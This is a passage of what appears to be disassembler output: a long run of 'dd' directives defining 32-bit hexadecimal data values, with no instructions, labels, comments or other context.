		dd 8B3AF0FBh, 71B2595Bh, 0E7E5EE08h, 5C23E8D0h,	9D3FC50Ah
		dd 0FE5AFF3Bh, 0BF83E894h, 0A919CD75h, 511D8719h, 4A61AFB6h
		dd 49B7F038h, 6B83822Fh, 999F3F5Dh, 7CBC821h, 30EF73F5h
		dd 0A91F4452h, 5067B44Ah, 4CCEE1F0h, 9C53831Dh,	0AFC45FF7h
		dd 0BE5444C9h, 0F8AB6678h, 0FC12651h, 0E5B0EDFDh, 7467B27Ch
		dd 0F7A85076h, 390B51DBh, 695E1E41h, 26969971h,	2B36BD55h
		dd 0A040422Ch
		dd 0FEBD4187h, 0A35DBDC3h, 0F1C12044h, 0D471CE26h, 80458B9Eh
		dd 5A2D5177h, 9F9C8069h, 14016090h, 33F4443Dh, 815D7BBh
		dd 2B78F6CBh, 0A64F3B7Ah, 28363724h, 21A536BFh,	0F29F5A85h
		dd 0FF18CD9Eh, 67AD8764h, 42E3955h, 13FA3808h, 5887C26Eh
		dd 8E70D4E5h, 5496E7D5h, 5CED2D87h, 0CE0558C4h,	0C374810Ch
		dd 6FF9A802h, 112D7AAFh, 0D74BE278h, 0E5110059h, 0E85D745Ah
		dd 918FE7Eh, 0CB830096h, 0FECD8724h, 0A71C1838h, 4AA9BDB0h
		dd 75892AB7h, 0C1AFB07Ch, 0EAC4ECB4h, 92D2186Eh, 5C9597A3h
		dd 0F4B89741h, 0EFA00BD0h, 0FD40EACDh, 9F71C8FBh, 5C7EB43Ah
		dd 22759A3h, 2DB84EDh, 9E6D0D75h, 8354B447h, 79883349h
		dd 0C2766612h, 0FE3978BDh, 0CC44BD75h, 0A16A7CAAh, 5AD75DF8h
		dd 544E0247h, 473E9FFFh, 9E82D2F9h, 94464A73h, 0C2150AE1h
		dd 0A290483Ch, 0D5A3EE50h, 2D133D61h, 3EF54411h, 0C5DE5E10h
		dd 0E05489DBh, 3DEED910h, 0E18FB7B6h, 7765B3A3h, 0E9A0ED9Dh
		dd 5845472h, 8EE9AE7Dh,	22D1A196h, 32C21E51h, 8669B6F0h
		dd 0A618AA2Ah, 5ECF1290h, 0BB389149h, 3B91593Bh, 9AA128DAh
		dd 0FAC61D4Dh, 0C0F742A9h, 0BD3AB0C3h, 47FABEDEh, 9CA9B6CBh
		dd 75E1DFB0h, 25255BCCh, 19C617F1h, 355E7AF1h, 34E58447h
		dd 367F6CF4h, 0CE3D8393h, 0F399BB31h, 1107894Dh, 85A42AA4h
		dd 5413E9D1h, 1406E9ACh, 675C6A69h, 4A8DA5D3h, 0F67E4C97h
		dd 0F4FD6F8Ah, 0BFA3FC2h, 65D2E5F1h, 52F5C008h,	0F451C328h
		dd 28F953F2h, 0A7F4B3E1h, 5DFF41EEh, 3D94920Ch,	8D8F2F0h
		dd 0B85266D9h, 45A77070h, 9A7F70B0h, 1A7F3F75h,	4728C0F8h
		dd 71451129h, 0CA0D70F1h, 0CC60FC7Dh, 0F6AA8588h, 0D64534CDh
		dd 0D6ABCD61h, 6F5FAB98h, 305C6C12h, 0D5F3BC50h, 1A3BD5Eh
		dd 976CE8E0h, 7B200B99h, 0F8649D6Fh, 9F849539h,	0F682A040h
		dd 4B3DC1D4h, 206965E3h, 50298096h, 11E35456h, 77807945h
		dd 96C32AD9h, 19C98F08h, 22717B90h, 438DF379h, 0AEA6C8C9h
		dd 0F501CA52h, 0DBE20EBDh, 9E56E901h, 0CF3A1ABFh, 2D3A2706h
		dd 0DC112A3Fh, 4C8350D2h, 7BFBD89Ch, 3F5F7523h,	9BC49575h
		dd 9CDBF0E1h, 0F65E0200h, 0DBA1312h, 0AEC6B68Bh, 45608C09h
		dd 6A12B809h, 0CCAF77A4h, 0DED9B85Eh, 863AB0AFh, 60783AE6h
		dd 921BE29Dh, 5F4CA799h, 14A77C2Fh, 0A3562E68h,	48C13A13h
		dd 41E83A8Eh, 70E95962h, 379AB543h, 0A4F58CD3h,	106BEC3Ah
		dd 72EE61DCh, 3A1E2F36h, 5969FAh, 961007B6h, 5B783179h
		dd 1D6F0A21h, 1A01368Fh, 26DDDADh, 43B20A6Fh, 0AB914AC8h
		dd 0AFD145FFh, 3CDD0AFFh, 0DCC3E37Ah, 64F9E46Fh, 9B2899F3h
		dd 0A1725B23h, 152E3B62h, 83F6B157h, 0BFE15328h, 0E81BAA17h
		dd 0E8221C0h, 0E565C918h, 36006176h, 724B919Bh,	23B06F5h
		dd 0FCEEDA2Eh, 0D6005F8h, 517B950Dh, 81AD7533h,	318E34B2h
		dd 0FCA76317h, 26307B2Ah, 68454C24h, 0CAC25977h, 48A702FEh
		dd 0DCB80DA7h, 0EF83F921h, 0ABB5A604h, 732B4763h, 69A15167h
		dd 3F91540Bh, 0C66A985h, 3B6880Ah, 143B7406h, 0E6F058D1h
		dd 0D81A789Ch, 5B3AF0EBh, 0B270EF87h, 3F34DD0Dh, 87AA60EEh
		dd 524158B9h, 1A9B54D3h, 172A1379h, 32821B98h, 0CDE23B59h
		dd 59AF3A85h, 551896EFh, 9C6EBB09h, 0B896D800h,	0DCB818ABh
		dd 10364C42h, 907D177Ch, 0C67694B6h, 0F5230975h, 36CEAA24h
		dd 0F0DBC84Eh, 0C599FE30h, 5F3C1B4h, 72C361C6h,	3A1B3584h
		dd 4876C73Eh, 0FAA0F1A1h, 1162EF45h, 1DF5B366h,	0F3C45FAFh
		dd 1D7E3BB7h, 1B90A829h, 0BCA03BB5h, 3A723456h,	91365F37h
		dd 846C47E8h, 0A2E2CFCEh, 865F7EF6h, 1349D953h,	969E0A45h
		dd 0D04DE926h, 240100A3h, 810FE107h, 0CA2F582Eh, 7FD2089Ah
		dd 0F54D7B8Bh, 0F11F1BECh, 0B5D553D1h, 0E91E360Eh, 46A0D779h
		dd 28C72D5Ch, 55A42568h, 7B89A137h, 0CA7DCC58h,	0C050D8h
		dd 4086334Eh, 8CE5BFCh,	7EBD8BA0h, 7FD83B99h, 9687098Eh
		dd 75D4D4DFh, 14CD6B83h, 19A3B78h, 0A3F90276h, 0E53878F7h
		dd 0E8493209h, 0F014EAEDh, 93BB733Ch, 0C663DAB6h, 0DEE62F27h
		dd 8AA20608h, 28E52861h, 0CC1F406h, 6C405447h, 5CAF61AEh
		dd 0E6ED6A86h, 0D36F244h, 136D6AAh, 0E6772AAFh,	0C27CD60Dh
		dd 0CBCD951Dh, 97850DACh, 0F55E85DDh, 2CAEDB7Ch, 0DAC9E0D6h
		dd 6E40E48Ah, 254BC2FBh, 3AC329B6h, 0F3A518C5h,	418BA697h
		dd 480BF16Dh, 81871C94h, 2271D6AFh, 1E1FA9ABh, 69181D20h
		dd 440F8699h, 0F76362AEh, 0D14979C9h, 9285EEC3h, 2B010985h
		dd 148439E1h, 0F988893Dh, 0BF82DD4Dh, 7B2427Eh,	6469145Fh
		dd 76C650EEh, 7FFB20E6h, 0CEA95E96h, 4EFA3B5h, 898EA7BCh
		dd 7ED26CF6h, 12873E15h, 0F4AF81Bh, 0B8A56927h,	81B4A5E8h
		dd 19D12F9h, 0C4C84D2Dh, 0B428045Eh, 4D17CA2Fh,	32C9D7DAh
		dd 0AC4FFD70h, 4F3A8D8Bh, 9D77D689h, 2CA53EF9h,	2CF12B89h
		dd 7854B340h, 74BB1248h, 0E47B21C3h, 78DD0270h,	0E8CD0725h
		dd 79F7660h, 0C9D42D9Ch, 415C5B38h, 57433368h, 86AC8C62h
		dd 8B27E877h, 9E31D34h,	63A06568h, 374D4C4Fh, 0BCFC5B4Bh
		dd 87B8FBD9h, 0DE0FB7Eh, 0ADA7133Eh, 0E7DB6E4Ah, 1D35166Dh
		dd 93874A71h, 7A10C310h, 0B9887338h, 3C57F715h,	932AA8Ah
		dd 670D883h, 6BB057DEh,	0E5A5A21h, 9CC118E0h, 60EC1A42h
		dd 0F99F9002h, 6B3EB22Ch, 188E2E68h, 3EAF8B60h,	96A4DE25h
		dd 6270ADAEh, 0F929E51Ah, 0F01E9660h, 0B7F57A92h, 0CDD51CF9h
		dd 8C2650E4h, 29FA24D3h, 0FCDE6A06h, 9D63B45Eh,	87F3DACFh
		dd 65C6FFD8h, 0AB84C238h, 8ADE43C6h, 0D55D5905h, 0BDE96217h
		dd 0D62CBCECh, 67E59490h, 0BEFEA251h, 5B19B67Dh, 6C470AEAh
		dd 59324D44h, 22C0B694h, 0DAA07AECh, 7EBBB554h,	0BB03CA3Ah
		dd 6877D497h, 8BD5CC98h, 170E2212h, 74229750h, 0D4893D19h
		dd 22FF7DAAh, 0E0307AC3h, 0A763C99Ah, 964195E8h, 0F4C5DB9Eh
		dd 9B47F8FFh, 0FD4E8555h, 86680641h, 2FCE64CDh,	0C7164641h
		dd 16C3C61Ah, 7C8480CFh, 538B777h, 855A4F24h, 9D4EB94Ah
		dd 5B1BD302h, 0C409B33Dh, 5CE9B7EDh, 0EFEF4D02h, 734787C9h
		dd 1123B690h, 0F8FEEE6Ch, 0A72D4915h, 9B583637h, 0DA1DE07Ch
		dd 59CA835Dh, 1E756446h, 0BC3A7992h, 51B06422h,	2D7A9CB8h
		dd 4E11FEE1h, 309BB585h, 0C2AD007h, 0B003124h, 0EC9BBE70h
		dd 91FF8F0Ah, 1581A746h, 48B909F8h, 0AF4EBF42h,	27578E13h
		dd 83198546h, 9C31A5Fh,	8765F186h, 0F5693BE9h, 0ACD8D3FAh
		dd 7A8F0E8Eh, 81F497A9h, 0E0E70598h, 0B3C3D6FCh, 5145DDBDh
		dd 40C28086h, 0B7AF0D19h, 0CE13AE14h, 0F534215Ch, 5A2A2DE3h
		dd 0F70CC508h, 6802FD9h, 0D0922999h, 773EB08Bh,	9CB9ADC8h
		dd 0FD409A81h, 6F2BA35Dh, 931B8781h, 1D2BE9A6h,	0C334C1B0h
		dd 0C926FBE4h, 356A6C1Ah, 8CF4C427h, 0E8B33680h, 0FE9B057Eh
		dd 0E0C12429h, 23DF3721h, 0B6508580h, 8159FBEFh, 11ADDDF5h
		dd 7D78AE0Ah, 0E9520C76h, 0DA481CAEh, 0FE53E67Eh, 36ABD598h
		dd 2B6872C6h, 0DE60C9BEh, 5CB1FBE9h, 0D74CA3DBh, 76BAC8D1h
		dd 6D1AB3C0h, 0B641FDBCh, 36EC7AD1h, 0C55CE8D0h, 0ED05E000h
		dd 0D5C950C5h, 91875E94h, 7281B38Eh, 87F52103h,	77961719h
		dd 714DB626h, 1D91889Eh, 8B7B76FAh, 47799289h, 319D9036h
		dd 0B04B28A2h, 0BC68F5B6h, 8B1D8EADh, 0D2AE7EFDh, 0F583B37Eh
		dd 0BB55C91Eh, 0C2294041h
		dd 40A8583Ch, 0D8854E33h, 0A6C49329h, 137B8847h, 254C34F3h
		dd 0C48E0FFh, 0D8D249DEh, 0C76B1B6Eh, 1264A081h, 9410676Ah
		dd 3EC01942h, 0C809C98Fh, 17FB9CBAh, 5C93AD04h,	5922BAE3h
		dd 0BA64410h, 0CB1A3208h, 389B9BF1h, 27B712C7h,	0E8157B22h
		dd 89D92338h, 49237FC3h, 0CD02C516h, 0FB112AF4h, 1D8334E8h
		dd 8EF78036h, 7F585D6h,	0DE50C96Bh, 61DF00F0h, 9F0D7AF0h
		dd 98538954h, 71472B94h, 0C012D8F7h, 0B24166F7h, 4D3F4ED1h
		dd 427A91E3h, 613A201Eh, 0AE163756h, 39420303h,	0C2A40AC2h
		dd 20AA80FFh, 7E151CB5h, 4E70D27h, 8EE5DA6h, 0E4EB48F6h
		dd 0E5DC69D8h, 2FF6E22Dh, 8D8DE6F2h, 0A97B972Eh, 7B47E438h
		dd 4B8ACD91h, 0F16FE26Bh, 0DD323BCCh, 0A0E5234Ch, 0DFC16F71h
		dd 0DB84A441h, 0CA9D3EA0h, 42A930A0h, 0C4D05687h, 0EEAB3463h
		dd 5EDB9725h, 0DAEB1CCCh, 18908A9Eh, 565780D3h,	9D40D5B7h
		dd 0C8A8906Bh, 0FD2711DCh, 5C864F56h, 0B54DC2D1h, 32D3F822h
		dd 306457E5h, 1D6B97EBh, 0A6118851h, 3362287Fh,	7AF7BD38h
		dd 6638AF11h, 0D8D6B52Ah, 0E7845860h, 0E0E45708h, 2392A74Eh
		dd 0B4AE7ADFh, 372893EEh, 30C67945h, 8B578480h,	0D138360h
		dd 767126Ah, 80D9B51Ah,	0E9E38AA1h, 56CB7801h, 0D34FBABDh
		dd 63D607DDh, 4F76A422h, 0BD1F6238h, 5452DFBh, 3DA73D3Dh
		dd 350188E5h, 63F88654h, 9A5C0E18h, 0E6951647h,	3D4C7223h
		dd 0C5F77818h, 5E594DCh, 68D48F7Ch, 0D0140269h,	89F834CEh
		dd 6912F8B3h, 0AA992BE4h, 2C5D4A00h, 62BE6F6Ah,	0E10F0964h
		dd 76BDC72Dh, 0F8E5F746h, 0C872B93Bh, 0B2BAFBB6h, 976F5D35h
		dd 9E99CC32h, 181F28B6h, 1722D8EDh, 0F50AD97Bh,	6AD133CDh
		dd 0D495D9C3h, 0D7AFBAE4h, 0E35FDA8h, 0EAEF72CAh, 70ADCB28h
		dd 3C2E7071h, 15039E55h, 95F476E9h, 78781C38h, 7E4962C9h
		dd 91E98h, 17B3A588h, 918D4D6Bh, 2A781003h, 339C02EAh
		dd 29B35CEh, 1CA39EE4h,	0B5369568h, 517A5657h, 0ECD9B789h
		dd 5DE99006h, 54DE0A89h, 0DD079F02h, 0D59CADD6h, 0E7C56485h
		dd 2F9055D5h, 0C9EA6F5Fh, 3FF5D8F0h, 58B2A8E5h,	988DA2F7h
		dd 0E434CF99h, 9E84A3B5h, 28102C6Ah, 0AB20FF59h, 0BDEF2044h
		dd 36717B49h, 2D7F865Ch, 1F4A771Ch, 252D1274h, 8520E85Eh
		dd 2AB55BB6h, 5BC23E0Ch, 0C1B8D159h, 0DB00BCFEh, 0CC7D6CA5h
		dd 2B193244h, 34134B7Dh, 3C2AE1FDh, 23DF6C20h, 0A28B6872h
		dd 2CA57074h, 0C9EF6126h, 68CBD655h, 304672EFh,	0D416B4BAh
		dd 3FB4F919h, 75F6AA2Ch, 4B699532h, 89ECC0F5h, 0CB1DE612h
		dd 0D252186Bh, 358A8935h, 915D4C82h, 9FAA3B48h,	77EBC841h
		dd 3AC4348Ch, 0A04C0BE2h, 47C05ECFh, 6FBB69C3h,	8D943EFFh
		dd 574D3CCAh, 9F82C08Fh, 7E47FCD5h, 0A16B6726h,	0DDAF91BCh
		dd 0EC14685Ah, 36E36309h, 286850FDh, 0A87BEC20h, 0FFD02EEEh
		dd 2EF2C2E1h, 9B2A5BAEh, 0D51FCFF0h, 8E639470h,	0DA84AC43h
		dd 0F4AA5026h, 58D0A9ABh, 9D80F076h, 0F172DDCh,	6ACC04E3h
		dd 49344003h, 3B1E7F6h,	2A0A0A0Dh, 0B9822920h, 3C5826E0h
		dd 1DA56CAEh, 248E11A2h, 0CD38DD8Ch, 0A6E7B511h, 0E3CE4238h
		dd 98E04F1Bh, 0F25378A6h, 49F05F7Ah, 0AD9C4EBEh, 0E27809D9h
		dd 0D066DA8Bh, 8C0D10ECh, 45ECE64Ch, 0E8F29D6Eh, 0C726B5F0h
		dd 0F6C037FBh, 0E1596CA6h, 0A4B961FBh, 0F6FDBF36h, 3E2F43D2h
		dd 9124BDD6h, 0F7640DC6h, 0ECD95277h, 59085F6Ah, 65CB9E30h
		dd 31655C96h, 0DAFDC4D2h, 3006033Ch, 85D7378Ah,	0E9E0B55h
		dd 8AB2173Ah, 3D1934BBh, 42D37FA7h, 38F2E8D7h, 0C02D4662h
		dd 0EBE31276h, 56A1B5B7h, 9CFFBFD3h, 99DF8322h,	9246A6E8h
		dd 0F6A215BBh, 0A2EBD3FBh, 6761F581h, 76925B9Ch, 851364E1h
		dd 0ABE78621h, 4F41C6E1h, 4A80B652h, 6BD9BFF4h,	0F6ED40h
		dd 0F0D822CDh, 0CEB7D51Ch, 0B44970C1h, 0C37CD952h, 75CE7976h
		dd 0A8C6CCA7h, 0BF20C9E2h, 0C8EB74FCh, 0B222F78Dh, 26291E58h
		dd 9E73A1ECh, 3A8A221Fh, 147676BCh, 7ED47E16h, 0D4F84C69h
		dd 0B42CE442h, 34FF1122h, 31550DCBh, 8BD0DA72h,	6AAB3A06h
		dd 5D0D3D33h, 770A66ADh, 0BCDD1BECh, 4BF3A1A4h,	578CC2E3h
		dd 0D2196B97h, 0A847BB8Ah, 67CE131h, 28C8427h, 0D33F2306h
		dd 0D1DE3720h, 0C8FB30DBh, 6FE59D83h, 3C59A906h, 9DBE1905h
		dd 6BC0E5EAh, 0C82AD058h, 22E034BEh, 0F94AFBABh, 0F023C2D2h
		dd 0B6B3CD6Ch, 57F3B051h, 0C49263BAh, 2FE3AD57h, 16DFF388h
		dd 94B6465Ah, 7B092350h, 0E0B5205Ch, 5CEF44DBh,	0F1B900BDh
		dd 3E9FB1D4h, 72DCEF0Ah, 92996CCDh, 3A782FBDh, 0E3DC9DFBh
		dd 54717B28h, 0D452AA62h, 2E4944CEh, 0B3D075A6h, 0BB774CC6h
		dd 0B6469757h, 554886B7h, 494A57B1h, 36FB2956h,	648C7C0Dh
		dd 48EBF955h, 0FDDC38EEh, 168FC9ACh, 8D13978Bh,	3CEC9B33h
		dd 0A39AA4FDh, 0CAD45F0h, 83A71278h, 0B8BB496Eh, 46053A77h
		dd 68483C49h, 0E6C2710Fh, 0D69FF2A8h, 99569761h, 0BC0FBF85h
		dd 9A9F9655h, 44D0CCA4h, 79E4F864h, 0FCA6AAF0h,	50496C11h
		dd 6FCA620Bh, 8C726DBFh, 0DE5C6373h, 4BD28E33h,	7901FEEDh
		dd 6F2A760Ah, 819B901Dh, 0E9C179DCh, 0D3492BD0h, 0D48E27B8h
		dd 65E77C52h, 0DC9E8EA4h, 0C606D23Bh, 0C02D5B89h, 82A3ECB4h
		dd 0AC033705h, 7739683Bh, 733083B9h, 2A47E126h,	624A619Eh
		dd 5925EA09h, 0F2C6D2DAh, 9CCFC4EDh, 0BC1681B7h, 3E3301D2h
		dd 0D43B34F2h, 0AA1B4BF6h, 0B2AF8F9Ch, 0C9727D9Fh, 99C0655Bh
		dd 6AC9E85Ah, 2D6E10E6h, 0A6447259h, 0A341C6AAh, 4F712562h
		dd 0F2E86108h, 5C2A0323h, 7EBA39CBh, 2AF9E350h,	0F1FD182Fh
		dd 1F2A6717h, 0D36BF43Bh, 0F80868B2h, 0F96F7DBBh, 0A5422E8Fh
		dd 591595F6h, 8484AE30h, 0D3ECC10Ch, 0BDE056A4h, 0A46458B9h
		dd 11495691h, 4DBE1579h, 10CB01DEh, 0E6CEDFDh, 0A44A08EAh
		dd 10F13A17h, 6C9FC280h, 5E24F782h, 0F5168DE0h,	0D4D772B2h
		dd 25A4BF2Fh, 0CF27D4E3h, 75A8D1B6h, 4227F1D9h,	0EB12185Eh
		dd 0BD0536E3h, 8BDA484Bh, 3A16D0E8h, 0D7375187h, 2C14BC79h
		dd 413EFD05h, 6E2DC4D7h, 0F3E44855h, 826C339Ch,	84CCE399h
		dd 40A63A88h, 0DF8108DFh, 0E6692D4Dh, 8B768B80h, 0C9D165EDh
		dd 64C2EC0Eh, 0E341F6A4h, 0DFD797D7h, 1C1A4B56h, 89C8BBB7h
		dd 25AEA127h, 480BD07h,	0B9392EA7h, 94C6E9DEh, 6A9B4944h
		dd 69FA5CCBh, 0C3B43B64h, 0DBE29B2h, 0E0BF5BC0h, 7A753325h
		dd 3EBBE7AFh, 6ABB0754h, 0BA1D615Ch, 773A79Bh, 3199C950h
		dd 5641C98Eh, 325995FAh, 7AF1A433h, 0D33B0669h,	0FA5422B5h
		dd 135321C0h, 0EDDFEB41h, 6E09F87Dh, 6DEFE179h,	0C85D204Fh
		dd 4A78240Eh, 66D22048h, 20D49833h, 0D0DED489h,	0C5BDFE86h
		dd 0F485CF5h, 0D6C9DBD8h, 0F35A1B03h, 49CDEC49h, 8264F847h
		dd 6B1C53E6h, 0D360B7A5h, 1BCBDE98h, 81FFBD9Ah,	0F520781Bh
		dd 9AA05DDBh, 90B9C181h, 5889831Dh, 11BF23C8h, 8ADF6D09h
		dd 4DE27B1Fh, 316F8161h, 976FD985h, 584A9073h, 7749B001h
		dd 0F232C47Ah, 0B74D6E89h, 151F948Dh, 0F635D528h, 173DA0FFh
		dd 13D5A993h, 278F3008h, 581A2813h, 2245F497h, 401C8909h
		dd 3C9E5AE6h, 5DD04A9Fh, 589A2053h, 0EE87841h, 5F4CC548h
		dd 55ACDD8Eh, 1F2B1D06h, 5DD11428h, 3C6B1878h, 70B350Eh
		dd 0F9CFD9FFh, 53E2D10Bh, 184A3647h, 3A781A51h,	8643985Bh
		dd 8A1B6386h, 9F8287EBh
		dd 4F064D39h, 7997B7BFh, 0A24DEAFh, 953BB94Bh, 2C6CE8D0h
		dd 77C25151h, 694B75F8h, 73B9A8BFh, 9B204EDEh, 2B57CA92h
		dd 11415664h, 1E6D1381h, 7288BA4Fh, 8E2CA306h, 80898E23h
		dd 0BE4BC99Bh, 799689DBh, 0E19CD3B7h, 0FE31CE69h, 3A55A9B9h
		dd 814F94E0h, 90DAE78Ch, 0B9A1FCD1h, 1354D534h,	0CE496EAFh
		dd 0C1DD6355h, 0AA7FDEF4h, 79DD863Bh, 86826D2Dh, 0A6418AF0h
		dd 3CABA88Ah, 4173278Bh, 9E1E6A0Eh, 7122D783h, 36EB2504h
		dd 3D653C0Dh, 0F5FA482Eh, 6F9F482Fh, 53E62BE0h,	59B9F1BDh
		dd 0A877CE9Ah, 0A999419Ah, 31E12544h, 28D247C2h, 6F2A0134h
		dd 0ED114CC7h, 3F5E9E9Dh, 9A9A05F3h, 0A3ACCD40h, 0D288A83h
		dd 97810490h, 0D2A5BCF2h, 6901DEAh, 0E5253704h,	0C15F6896h
		dd 1FE3E58Ah, 236F1B7Ah, 0E167A519h, 0C9151F91h, 31109C05h
		dd 2E16C0C2h, 0FC84C957h, 0E9797D1Ch, 9F387416h, 0C5914A93h
		dd 3C98280Dh, 408644F1h, 78357283h, 5097F424h, 0C958189Eh
		dd 892E2209h, 0D7FF6605h, 3B7CACA9h, 1FFCFF28h,	4A71C84Fh
		dd 0B41C5D83h, 0DE5C5DBEh, 0C86F1B5h, 0F07C00E9h, 543D66AFh
		dd 64C664A1h, 5155277Ch, 0DD9141C5h, 0B64DC851h, 3C7441Eh
		dd 99CE3D72h, 0E2E78E94h, 3A621631h, 0D1FCF9D4h, 0EB05B435h
		dd 41FBCB2Dh, 0F4C23C3Fh, 0F67CC8B9h, 8D7909FAh, 0FAA7F8DFh
		dd 1A0AEC2Ah, 32300F45h, 0AA6E34C8h, 21E5EC89h,	0F2C85225h
		dd 64ACE476h, 0CA8535F4h, 591A63A6h, 715C7A66h,	9C2DD223h
		dd 0DB7E9DC0h, 7413B3Bh, 5942C0F2h, 0BA3DAEA8h,	0FD35B0F0h
		dd 0C5A03544h, 0F6AEE26Fh, 2919A94Bh, 576E04C8h, 46C227CCh
		dd 0C22C749Ch, 48933372h, 19AAE79Bh, 1B740F2Fh,	0BF151D37h
		dd 0CDE31F6Bh, 1ABC3AA7h, 0FB91EDFCh, 0A0D6C223h, 659914F6h
		dd 58C7D530h, 825C23E8h, 0E1BD3A10h, 0EF4A3EB8h, 0A609C8F0h
		dd 748293A5h, 0D8A7A150h, 782FA3BFh, 81756D07h,	1A6F394Fh
		dd 0F0EAD9C7h, 98B2ED17h, 2E6EA73h, 7F4571D0h, 4E2D37C6h
		dd 55CD795h, 0A9E02DE5h, 181C46Ah, 0F11EACF8h, 392F3Dh
		dd 501CAFCAh, 0FE9C284Ah, 5610B694h, 4E90ED01h,	4B32D3D5h
		dd 471E5B92h, 671F0AC8h, 14C60325h, 85B2D82Fh, 3BC5D013h
		dd 25FD4750h, 99924C41h, 2C7A1BC3h, 4ECE6157h, 0E8B475F0h
		dd 8ED44E4Bh, 492F89D5h, 1C2A899Ch, 0BE1784D2h,	8ACE89C1h
		dd 0CBC6DB5Fh, 84D6AE8Ah, 0BBFE28B6h, 21D9995Dh, 33BCF614h
		dd 0AF1AB6BAh, 0E15C6751h, 0AAEF91BCh, 26DE12D6h, 0EB616441h
		dd 8D8C14F0h, 34DEFCEFh, 44A02E58h, 76DFB76Ah, 3AAFEFF2h
		dd 58C8BC49h, 99C1AE34h, 0AC4AB879h, 0EE2643B9h, 70A4B35h
		dd 0B6D1E6B5h, 0FAE3D1EFh, 927F96E3h, 9BDD3E82h, 0D0B79CE0h
		dd 0E7CEFB4Fh, 0BC1DC3A0h, 7A3015B5h, 0CCBC1B36h, 0A0219AD3h
		dd 0DC02B2A0h, 5A4DE449h, 3DE09934h, 28F0AB22h,	2C2DE46h
		dd 7C63D8C6h, 10D7FFB9h, 11DAA05Fh, 27C36BACh, 0A0B9FAECh
		dd 388BD88Ah, 55125C31h, 52AF2433h, 749FE978h, 0E6352994h
		dd 0DB2C4889h, 0E04E2082h, 5D732590h, 0FEABCFEDh, 0B90F1622h
		dd 0FCE3DCF9h, 0DD2057D8h, 619781FBh, 0BDFABA68h, 740C1B6Eh
		dd 96C9856h, 0A44ADB2Ch, 0FA9B90F9h, 69AED042h,	477ECCF6h
		dd 5A1C7CE2h, 2D4A385h,	619845D1h, 0BEC058EDh, 6CD04B26h
		dd 808FBA95h, 6525BAF8h, 8B2B7A47h, 7BA4297Ch, 931FB1E1h
		dd 5D2FFB05h, 386CC73Eh, 0C2271CC6h, 587C17E0h,	0FAEF4C56h
		dd 428A1D11h, 77C446DDh, 0B905B935h, 0FC1401BDh, 0F742CB6Ah
		dd 61C3B33Fh, 0F1D9A57Fh, 0B86F4573h, 4265F279h, 0C5499730h
		dd 0B2280FCAh, 0C80E2CBh, 0BABD5C39h, 0C54B7C0h, 17512597h
		dd 50F7446h, 0D7524C6Bh, 2319032Fh, 0A6AAC447h,	24FCF84Eh
		dd 12994805h, 321BE221h, 0A86F444Ah, 0D5A8DD9Eh, 8624DAC1h
		dd 77649548h, 0E214ED7Eh, 0A0521CA4h, 2A607620h, 6B74D180h
		dd 0E027E9E6h, 0A9F53961h, 984650B2h, 196C3B24h, 85C2FE71h
		dd 47B7BA9Ah, 0AE33D3ABh, 7A46EEE0h, 0AB99DBC5h, 3FF246D3h
		dd 0E3BCA61Ch, 0F1490815h, 0F38445A4h, 148898FAh, 0A6357538h
		dd 655A1DD7h, 7DEB4AD4h, 419B4ADDh, 45E99B94h, 0CE0D370Ah
		dd 0E381785Bh, 0A492666Bh, 8C94BE12h, 0AD44FA5Eh, 0D50B31BBh
		dd 7516957Eh, 0A90B3283h, 72717835h, 0B5A0595Bh, 0B93BB902h
		dd 0D3001A52h, 0E4DC1BFFh, 0D1884E52h, 8F78495Dh, 1FC58EAEh
		dd 0BAE623DFh, 0B90F51D0h, 0AD19FCE9h, 98AFEC06h, 41EF855Bh
		dd 66EF79Ch, 0E7027D59h, 0D7BF71DEh, 50754FFDh,	0A9C76C14h
		dd 0C3C9FB7Bh, 43E510BEh, 5F2B7DCh, 0FB9D58F8h,	9E9F238Ch
		dd 0DDA478B2h, 79290461h, 7C1F8B60h, 2E483466h,	2675809Dh
		dd 5E3B0663h, 15A479EEh, 190BDF37h, 992800D3h, 41CFE578h
		dd 0C4438EEAh, 9747F925h, 0BE842507h, 0BFE88094h, 0DC5ED69Dh
		dd 0AF49692Eh, 0A5FD8593h, 51072F42h, 5A5966CDh, 0C10A586h
		dd 95226B50h, 0EC4B7D57h, 0FC4CED2Fh, 0BDFDB648h, 93E89CD1h
		dd 0B4DE1687h, 0E4CCBFD5h, 58613770h, 94D59679h, 7B4732B4h
		dd 7CA21C64h, 99AAB232h, 88D58F00h, 3EF7430Fh, 8D261724h
		dd 0B95B9E45h, 5727362Fh, 63E7A3ACh, 0BDE31039h, 57AF4840h
		dd 90D72C65h, 2FCA973Dh, 2C1C4BCh, 8F2672D6h, 0D5769E6Bh
		dd 9F745C61h, 9C2AF0EBh, 836492Bh, 0E6D75611h, 476DE3FBh
		dd 58DA657Ah, 26245F9Ah, 54EC09B6h, 9F233076h, 90BA4159h
		dd 0B689B6A9h, 10932A2Fh, 5783ACD2h, 65E3BB2h, 577D6A68h
		dd 0F0086657h, 6BA41D1Eh, 957B5762h, 2DABF740h,	0C9648991h
		dd 0C37C9AEh, 88D73A66h, 76B7BC97h, 7239C29Dh, 6D5D5A3Ah
		dd 7BF91BE5h, 0A81B14A9h, 1A39F545h, 964EB425h,	86F24746h
		dd 23494308h, 22755F0h,	0E8FA573Ch, 0D8C88DFCh,	0F8E2A7E6h
		dd 0D2BAD9C4h, 2478F5A0h, 6B8240C3h, 0FDAFF47Dh, 0B25208E4h
		dd 0D1A39843h, 2EA9646Ch, 0B2385346h, 81B6CC06h, 8A0E8451h
		dd 429A2BA1h, 0CBA7EC38h, 0EFBAC5D4h, 0BC68BDA5h, 4DB353F8h
		dd 7BF1AD0Fh, 0D7953E6Eh, 24C08901h, 0CD3671ECh, 0A47A9EAAh
		dd 0D0E1AAD8h, 149FBF0Ah, 0C85A7BEDh, 6CB312F5h, 0CD4DF3BEh
		dd 8EDA9554h, 4A518C77h, 0E93A804Bh, 3DC737E6h,	0ED2471D5h
		dd 40F6E658h, 3B056B2Ch, 43A5D2Eh, 0F60BCD83h, 0DE847A78h
		dd 5B5FC487h, 0D8892C53h, 0D44483D8h, 0BDC92436h, 8A9D46AFh
		dd 22CA210h, 0BB569ED0h, 0F1223046h, 9115350Ah,	0CDF791BFh
		dd 0E34CA75Fh, 1AE80E29h, 0D53D30DFh, 8A56A83h,	73829A2Bh
		dd 327ABA17h, 65CBC52h,	8269F63Bh, 0DCF1B1FCh, 0A778EB61h
		dd 44EEC46Dh, 2010B085h, 853C1243h, 345A3F4Ch, 64DB1FF4h
		dd 439913D4h, 0FF571592h, 0AA416A87h, 637950B4h, 97ACACADh
